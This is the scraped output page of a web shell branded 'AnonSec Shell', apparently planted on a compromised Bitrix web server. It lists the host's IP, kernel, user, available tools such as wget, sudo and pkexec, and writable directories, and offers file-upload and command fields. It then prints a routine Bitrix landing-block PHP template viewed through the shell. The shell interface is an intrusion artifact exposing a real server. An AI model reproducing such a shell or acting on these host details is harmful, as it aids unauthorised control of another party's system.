AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.133.116.91
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/landing.blocks.openlines/templates/circle_buttons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/landing.blocks.openlines/templates/circle_buttons/template.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

/**
 * @param array $arParams
 */

if (!empty($arParams['ERRORS']))
{
	if ($arParams['EDIT_MODE'] === 'Y') :?>
		<div class="g-landing-alert-v2">
			<?php foreach ($arParams['ERRORS'] as $error) : ?>
				<?php
				$title = $error['title'] ?: $error['text'];
				$text = $error['text'] ?: '';
				?>
				<div class="g-landing-alert-title"><?= $title ?></div>
				<div class="g-landing-alert-text"><?= $text ?></div>
				<?php if (isset(
					$error['button'],
					$error['button']['href'],
					$error['button']['text']
				)): ?>
					<?php
						$onclick = isset($error['button']['onclick'])
							? ' onclick="'.$error['button']['onclick'].'" '
							: '';
					?>
					<a class="landing-trusted-link ui-btn g-mt-15"
						href="<?= $error['button']['href'] ?>"
						<?=$onclick?>
					>
						<?= $error['button']['text'] ?>
					</a>
				<?php endif ?>
			<?php endforeach; ?>
		</div>
	<?php endif;

	return;
}

foreach ($arParams['WIDGETS'] as $widget) :?>
	<?php if (is_array($widget['show']) && isset($widget['show']['url'])): ?>
		<?php if (is_array($widget['show']['url'])): ?>
			<?php if ($arParams['IS_MOBILE']): ?>
				<a class="<?= $widget['classList'] ?> openlines-style-circle g-pointer-events-none--edit-mode" target="_blank" href="<?= $widget['show']['url']['mobile'] ?>">
				</a>
			<?php else: ?>
				<div
					class="openlines-style-circle g-cursor-pointer g-pointer-events-none--edit-mode <?= $widget['classList'] ?>"
					target="_blank"
					onclick='<?= $widget['show']['js']['desktop'] ?>'
				>
				</div>
			<?php endif; ?>
		<?php else: ?>
			<a class="<?= $widget['classList'] ?> openlines-style-circle g-pointer-events-none--edit-mode" target="_blank" href="<?= $widget['show']['url'] ?>">
			</a>
		<?php endif; ?>
	<?php else: ?>
		<div
			class="openlines-style-circle g-cursor-pointer g-pointer-events-none--edit-mode <?= $widget['classList'] ?>"
			target="_blank"
			onclick="<?= $widget['show'] ?>"
		>
		</div>
	<?php endif; ?>
<?php endforeach;






Anon7 - 2022
AnonSec Team